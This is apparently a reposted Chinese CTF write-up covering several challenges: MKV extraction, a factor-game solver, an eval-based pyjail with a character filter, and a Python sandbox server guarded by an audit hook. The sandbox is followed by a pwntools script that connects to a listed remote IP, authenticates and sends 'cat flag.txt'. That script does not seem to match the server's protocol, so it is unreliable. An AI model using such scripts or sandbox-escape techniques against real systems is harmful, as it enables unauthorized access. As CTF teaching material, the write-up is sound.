视频分辨率为 1920x1080,时长约为 5 小时 50 分钟。 -
字幕使用了 ASS 格式,包含详细的样式定义。 -
文件的编码工具为 mkvmerge v9.5.0,创建时间为 2025 年 3 月 3 日。
bashmkvinfo.exe 文件地址
bashmkvextract.exe tracks "文件路径" 轨道ID:输出文件名
def reverse_file_content(input_file_path, output_file_path):
"""
将文本文件中的内容反转并保存到另一个文件中
:param input_file_path: 输入文件路径
:param output_file_path: 输出文件路径
"""
try:
# 打开输入文件并读取内容
with open(input_file_path, 'r', encoding='utf-8') as file:
content = file.read()
# 反转内容
reversed_content = content[::-1]
# 将反转后的内容写入输出文件
with open(output_file_path, 'w', encoding='utf-8') as file:
file.write(reversed_content)
print(f"文件内容已反转并保存到 {output_file_path}")
except FileNotFoundError:
print(f"错误:文件 {input_file_path} 未找到")
except Exception as e:
print(f"发生错误:{e}")
# 示例用法
input_file = ("smn.txt") # 输入文件名
output_file = "reversed_example.txt" # 输出文件名
reverse_file_content(input_file, output_file)
-
玩家选择一个数字,获得该数字的分数,对手则获得该数字所有未被选过的因数的分数。 -
一旦数字被任何一方选中,其他玩家不能再选。 -
每次选择后,计数器减1,当计数器为0或无法选择时,游戏结束,剩余数字归对手。
-
预计算真因数:对于每个数,预先计算其真因数(除自身外的因数),方便后续快速查找。 -
贪心选择:遍历所有未被选过的数,计算每个数的净收益(当前数减去对手将获得的真因数和),选择净收益最大的数。 -
更新集合:每次选择后更新玩家和对手的集合,确保因数不会被重复计算。 -
处理剩余数:游戏结束时,未被选择的数归对手所有。
-
使用一个集合chosen来记录所有已被选中的数字,包括玩家和对手的。 -
每次玩家选择一个数字num后,将其加入chosen,并检查其所有真因数,将未被选的因数也加入chosen。 -
在计算每个候选数字的净收益时,需要排除那些已经被选中的因数,只计算未被选的真因数的和。 -
确保每次选择后,计数器减1,直到计数器为0或没有可选数字为止。
def get_true_factors(n):
"""获取真因数(不包括自身)"""
if n == 1:
return []
factors = set()
for i in range(1, int(n**0.5) + 1):
if n % i == 0:
if i != n:
factors.add(i)
j = n // i
if j != n and j != i:
factors.add(j)
return sorted(factors)
def solve_game(level):
if level == 1:
max_num = 50
initial_counter = 19
elif level == 2:
max_num = 100
initial_counter = 37
elif level == 3:
max_num = 200
initial_counter = 76
else:
return []
# 预计算每个数的真因数
true_factors = {n: get_true_factors(n) for n in range(1, max_num+1)}
chosen = set() # 所有已被选中的数字(包括对手的因数)
moves = [] # 玩家的选择顺序
counter = initial_counter
while counter > 0:
best_net = -float('inf')
best_num = None
# 从高到低遍历,优先选择大数字(净收益相同时)
for num in range(max_num, 0, -1):
if num in chosen:
continue
# 计算净收益:num的值减去对手能获得的未选因数之和
sum_opp = 0
for f in true_factors[num]:
if f not in chosen:
sum_opp += f
net = num - sum_opp
# 必须满足:该数字还有至少一个因数未被选(或本身没有因数)
if len(true_factors[num]) == 0 or sum_opp > 0:
if net > best_net or (net == best_net and num > best_num):
best_net = net
best_num = num
if best_num is None: # 没有合法选择,提前结束
break
# 执行选择
moves.append(best_num)
chosen.add(best_num)
# 将对手获得的因数标记为已选
for f in true_factors[best_num]:
if f not in chosen:
chosen.add(f)
counter -= 1
return moves
# 测试 Level 1 (修改这里的数字选择level)
print(solve_game(1))
from secret import flag
print('For there are three that bear record in heaven, the Father, the Word, and the Holy Ghost')
print('But here we have four cases bearing witness')
def i_pow(n):
if n % 4 == 0: # as the 40 days of flood
return '1'
elif n % 4 == 1: # as the 1 true God
return 'i'
elif n % 4 == 2: # as the 2 tablets of stone
return '-1'
elif n % 4 == 3: # as the 3 days in the tomb
return '-i'
inp = input("wash away your sins: ")
assert all(i in "i0123456789+-*%/^=<>~&|:()[]'" for i in inp), "invalid char"
assert len(inp) < 16, "too long"R = eval(f"lambda i: {inp}", {}, {})assert all(R(i) == i_pow(i) for i in range(int.from_bytes(b'The_adwa_shall_forgive_thee') // 2**195))
print(flag)
-
程序提示用户输入一个表达式,用于“洗净罪恶”。 -
第一个 assert 语句确保用户输入的表达式只包含允许的字符(数字、运算符、括号等)。如果输入包含非法字符,程序会抛出异常并提示“invalid char”。 -
第二个 assert 语句确保输入的长度小于 16 个字符。如果输入过长,程序会抛出异常并提示“too long”。
i0123456789+-*%/^=<>~&|:()[]'
-
这个函数用于计算虚数单位 i 的幂。根据数学规则,i 的幂会周期性地循环: -
i0=1 -
i1=i -
i2=−1 -
i3=−i -
然后每 4 次循环重复一次。 -
函数通过取模运算 n % 4 来判断 i 的幂,并返回相应的字符串。
# -*- coding:utf-8 -*-
# @FileName :Lament_Jail.py
# @Time :2025/3/22 12:37:43
# @Author :LamentXU
from socket import *
from os import remove
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from zlib import compress, decompress
from uuid import uuid4
from json import dumps
from subprocess import Popen, PIPE
# 注解:导入了必要的模块,包括socket用于网络通信,os用于文件操作,Crypto用于加密,zlib用于数据压缩和解压缩,uuid用于生成唯一标识符,json用于数据序列化,subprocess用于执行子进程。
'''
Definate all the errors
'''
class MessageLengthError(Exception):
def __init__(self, message) -> None:
self.message = message
class PasswordError(Exception):
def __init__(self, message) -> None:
self.message = message
# 定义了两个自定义异常类,MessageLengthError用于处理消息长度错误,PasswordError用于处理密码错误。
class SimpleTCP(): # 定义了一个名为SimpleTCP的类,用于处理TCP通信。
'''
The main class when using TCP
'''
def __init__(self, family: AddressFamily = AF_INET, type: SocketKind = SOCK_STREAM, proto: int = -1, fileno: int = None, is_encrypted: bool = True, AES_key: bytes = None, password: bytes = None) -> None:
'''
is_encrypted: use encrypted connection, only for server
AES_key: use a fixed AES_key, None for random, must be 16 bytes, only for server
password: A fixed password is acquired from the client (must smaller than be 100 bytes), if wrong, the connection will be closed
if password is set in server, every time a client connect, the client must send the same password back to the server to accept.
if password is set in client, every time you connect to the server, the password will be sent to the server to verify.
if password is None, no password will be used.
self.Default_message_len: if in encrypted mode, the value must be a multiple of self.BLOCK_SIZE
MAKE SURE THE DEFAULT_MESSAGE_LEN OF BOTH SERVER AND CLIENT ARE SAME, Or it could be a hassle
is_encrypted:使用加密连接,仅适用于服务器端。
AES_key:使用固定的AES密钥,如果为None则随机生成,必须是16字节,仅适用于服务器端。
password:从客户端获取一个固定的密码(必须小于100字节),如果密码错误,连接将被关闭。
如果在服务器端设置了密码,每次客户端连接时,客户端必须将相同的密码发送回服务器以被接受。
如果在客户端设置了密码,每次连接到服务器时,密码将被发送到服务器进行验证。
如果密码为None,则不使用密码。
self.Default_message_len:如果处于加密模式,该值必须是self.BLOCK_SIZE的倍数。
注意:确保服务器和客户端的DEFAULT_MESSAGE_LEN设置相同,否则可能会出现问题。
'''
self.BLOCK_SIZE = 16 # block size of padding text which will be encrypted by AES
# the block size must be a mutiple of 8
self.default_encoder = 'utf8' # the default encoder used in send and recv when the message is not bytes
if is_encrypted:
if AES_key == None:
self.key = get_random_bytes(16) # generate 16 bytes AES code
else:
self.key = AES_key #TODO check the input
self.cipher_aes = AES.new(self.key, AES.MODE_ECB)
else:
self.key, self.cipher_aes = None, None
self.default_message_len = 1024 # length of some basic message, it's best not to go below 1024 bytes
if password == None:
self.password = None
else:
self.password = self.turn_to_bytes(password)
if len(password) > 100:
raise ValueError('The password is too long, it must be smaller than 100 bytes')
self.s = socket(family, type, proto, fileno) # main socket
def accept(self) -> tuple:
'''
Accept with information exchange and key exchange, return the address of the client
if the password from client is wrong or not set, raise PasswordError
'''
self.s, address = self.s.accept()
if self.key == None:
is_encrypted = False
else:
is_encrypted = True
if self.password == None:
has_password = False
else:
has_password = True
info_dict = {'is_encrypted' : is_encrypted, 'has_password' : has_password}
info_dict = dumps(info_dict).encode(encoding=self.default_encoder)
self.s.send(self.turn_to_bytes(len(info_dict)))
self.s.send(info_dict)
if has_password:
password_length = self.unpadding_packets(self.s.recv(3), -1)
if not password_length:
self.s.close()
raise PasswordError(f'The client {address} does not send the password, the connection will be closed')
recv_password = self.s.recv(int(password_length.decode(encoding=self.default_encoder))) # the first byte is whether the password is aquired(1) or not(0), the rest is the password, the password is padded to 100 bytes
if recv_password != self.password or recv_password[0] == b'0':
self.s.send(b'0')
self.s.close()
raise PasswordError(f'The password {recv_password} is wrong, the connection from {address} will be closed, you can restart the accept() function or put it in a while loop to keep accepting')
else:
self.s.send(b'1')
if is_encrypted:
public_key = self.s.recv(450)
rsa_public_key = RSA.import_key(public_key)
cipher_rsa = PKCS1_OAEP.new(rsa_public_key)
encrypted_aes_key = cipher_rsa.encrypt(self.key)
self.s.send(encrypted_aes_key)
# TODO
return address
def turn_to_bytes(self, message) -> bytes:
'''
Turn str, int, etc. to bytes using {self.default_encoder}
'''
type_of_message = type(message)
if type_of_message == str:
try:
message = message.encode(encoding=self.default_encoder)
except Exception as e:
raise TypeError('Unexpected type "{}" of {} when encode it with {}, raw traceback: {}'.format(type_of_message, message, self.default_encoder, e))
elif type_of_message == bytes:
pass
else:
try:
message = str(message).encode(encoding=self.default_encoder)
except:
raise TypeError('Unexpected type "{}" of {}'.format(type_of_message, message))
return message
def unpadding_packets(self, data: bytes, pad_num: int) -> bytes:
'''
Delete the blank bytes at the back of the message
pad_num : number of the blank bytes
pad_num = -1, delete all the blank bytes the the back(or use .rstrip() directly is ok)
'''
if pad_num == -1:
data = data.rstrip()
else:
while pad_num > 0 and data[-1:] == b' ':
data = data[:-1]
pad_num -= 1
return data
def padding_packets(self, message: bytes, target_length: int = None) -> tuple:
'''
Pad the packet to {target_length} bytes with b' ', used in not-encrypted mode
The packet must be smaller then {target_length}
target_length = None : use self.default_message_len
'''
message = self.turn_to_bytes(message)
if target_length == None:
target_length = self.default_message_len
if len(message) > target_length:
raise MessageLengthError('the length {} bytes of the message is bigger than {} bytes, please use self.send_large_small and self.recv instead'.format(str(len(message)), target_length))
pad_num = target_length-len(message)
message += b' ' * pad_num
return (message, pad_num)
def pad_packets_to_mutiple(self, data: bytes, block_size: int == None) -> bytes:
'''
Pad the data to make the length of it become a mutiple of Blocksize, used in encrypted mode
target_length = None : use self.BLOCK_SIZE
'''
padding_length = block_size - (len(data) % block_size)
if padding_length == 0:
padding_length = block_size
padding = bytes([padding_length]) * padding_length
padded_data = data + padding
return padded_data
def send_large(self, message) -> None:
'''
Send message with the socket
can accept bytes, str, int, etc.
every non-bytes message will be encoded with self.default_encoder
Every packet is forced to be filled to {self.default_message_len} bytes
'''
message = self.turn_to_bytes(message)
message = compress(message)
message_list = [message[i:i + self.default_message_len] for i in range(0, len(message), self.default_message_len)]
message_list_len = len(message_list)
self._send(self.padding_packets(self.turn_to_bytes(message_list_len))[0])
message_index = 0
for message in message_list:
message_padded = self.padding_packets(message)
message = message_padded[0]
self._send(message)
message_index += 1
if message_index == message_list_len:
pad_num = message_padded[1]
self._send(self.padding_packets(self.turn_to_bytes(str(pad_num)))[0])
def send(self, message) -> None:
'''
Send a message with the socket
can accept bytes, str, int, etc.
The data should not be larger than 9999 bytes
It can be used at any time
Use self.send_large and recv_large if you want to send a big message
'''
message = self.turn_to_bytes(message)
try:
message_len = self.padding_packets(self.turn_to_bytes(len(message)), target_length=4)[0]
except MessageLengthError:
raise MessageLengthError('The length of message is longer than 9999 bytes({} bytes), please use send_large instead'.format(str(len(message))))
self._send(message_len)
self._send(message)
def _send(self, message: bytes) -> None:
'''
The basic method to encrypt and send data
MUST BE A MUTIPLE OF THE BLOCK SIZE IN ENCRYPTED MODE
'''
if self.cipher_aes != None:
output_message = self.cipher_aes.encrypt(self.pad_packets_to_mutiple(message, self.BLOCK_SIZE))
# plainmessage = unpad(self.cipher_aes.decrypt(output_message), self.BLOCK_SIZE)
else:
output_message = message
self.s.send(output_message) # The TCP mode
def recvfile(self) -> bytes:
'''
Only receive file sent using self.send_largefile
'''
output = b''
while True:
a = self.recv_large(is_decode=False)
if a != 'EOF'.encode(encoding=self.default_encoder):
output += a
else:
break
return output
def recv_large(self, is_decode: bool = True):
'''
The return type can be bytes or string
The method to recv message WHICH IS SENT BY self.send_large
is_decode : decode the message with {self.default_encoder}
'''
message_listlen = self._recv(self.default_message_len).decode(encoding=self.default_encoder).rstrip()
message_listlen = int(message_listlen)
message = b''
for i in range(0, message_listlen):
mes = self._recv(self.default_message_len)
if i == message_listlen - 1:
mes_padnum = int(self._recv(self.default_message_len).decode(encoding=self.default_encoder))
else:
mes_padnum = 0
mes = self.unpadding_packets(mes, mes_padnum)
message += mes
message = decompress(message)
if is_decode:
message = message.decode(encoding=self.default_encoder)
return message
def _recv(self, length: int) -> bytes:
'''
The basic method to decrypt and recv data
'''
if self.cipher_aes != None:
if length % 16 == 0:
length += 16
length = (length + self.BLOCK_SIZE-1) // self.BLOCK_SIZE * self.BLOCK_SIZE # round up to multiple of 16
message = self.s.recv(length)
message = self.cipher_aes.decrypt(message)
message = self.unpad_packets_to_mutiple(message, self.BLOCK_SIZE)
else:
message = self.s.recv(length)
return message
def unpad_packets_to_mutiple(self, padded_data: bytes, block_size: int == None) -> bytes:
'''
Unpad the data to make the length of it become a mutiple of Blocksize, used in encrypted mode
target_length = None : use self.BLOCK_SIZE
'''
if block_size == None:
block_size = self.BLOCK_SIZE
padding = padded_data[-1]
if padding > block_size or any(byte != padding for byte in padded_data[-padding:]):
raise ValueError("Invalid padding")
return padded_data[:-padding]
def main():
Sock = SimpleTCP(password='LetsLament')
Sock.s.bind(('0.0.0.0', 13337))
Sock.s.listen(5)
while True:
_ = Sock.accept()
Sock.send('Hello, THE flag speaking.')
Sock.send('I will not let you to control Lament Jail forever.')
Sock.send('But, my friend LamentXU has to control it, as he will rescue me out of this jail.')
Sock.send('So here is the pyJail I build. Only LamentXU knows how to break it.')
a = Sock.recvfile().decode()
waf = '''
import sys
def audit_checker(event,args):
if not 'id' in event:
raise RuntimeError
sys.addaudithook(audit_checker)
'''
content = waf + a
name = uuid4().hex+'.py'
with open(name, 'w') as f:
f.write(content)
try:
cmd = ["python3", name]
p = Popen(cmd, stdout=PIPE, stderr=PIPE)
for line in iter(p.stdout.readline, b''):
Sock.send(line.decode('utf-8').strip())
p.wait()
Sock.send('Done, BYE.')
except:
Sock.send('Error.')
finally:
Sock.s.close()
remove(name)
if __name__ == '__main__':
while True:
try:
main()
except:
pass
-
SimpleTCP类:实现了加密的TCP通信,包括:AES加密通信,RSA密钥交换,密码验证,大文件传输功能 -
主函数main():监听13337端口,要求密码"LetsLament"进行连接,接收用户上传的Python代码,在沙箱环境中执行代码并返回输出
-
密码保护:必须使用密码"LetsLament"连接 -
审计钩子:执行的代码会被添加审计钩子,限制危险操作
Pythondef audit_checker(event,args):if not 'id' in event:raise RuntimeError
sys.addaudithook(audit_checker)
-
主机上运行有能够让人们完全控制主机的服务(使用套接字进行远控) -
主机上限制了我们远程代码的执行 -
主机上存在/bin/rf(可能算后门文件),可以从某个地方直接读取flag。
-
发送密码(LetsLament)。 -
发送 RSA 公钥(用于交换 AES 密钥)。
from pwn import *
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
def exploit():
r = remote("47.93.96.189", 39090)
# 1. 接收服务器初始信息
server_info = r.recvuntil("}").decode()
print("Server info:", server_info)
# 2. 发送密码
password = "LetsLament"
r.send(str(len(password)).encode().ljust(3))
r.send(password.encode())
# 3. 检查密码是否正确
auth_result = r.recv(1)
if auth_result != b'1':
print("Wrong password!")
return
# 4. 生成 RSA 密钥对并发送公钥
key = RSA.generate(2048)
public_key = key.publickey().export_key()
r.send(public_key)
# 5. 接收 AES 密钥并解密
encrypted_aes_key = r.recv(256)
cipher_rsa = PKCS1_OAEP.new(key)
aes_key = cipher_rsa.decrypt(encrypted_aes_key)
# 6. 发送加密的命令
cipher_aes = AES.new(aes_key, AES.MODE_ECB)
cmd = "cat flag.txt".encode()
padded_cmd = cmd + b' ' * (16 - len(cmd) % 16)
encrypted_cmd = cipher_aes.encrypt(padded_cmd)
r.send(encrypted_cmd)
# 7. 接收并解密服务器返回的数据
response = r.recv(1024)
decrypted_response = cipher_aes.decrypt(response).strip()
print("Flag:", decrypted_response.decode())
r.close()
exploit()
waf = '''
import sys
def audit_checker(event, args):
if not 'id' in event:
raise RuntimeErrorsys.addaudithook(audit_checker)
'''
content = waf + a # a 是客户端发送的代码
def audit_checker(event, args):
if not 'id' in event:
raise RuntimeError
qq群码
原文始发于微信公众号(UKFC安全):UKY 2025XYCTF WP
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论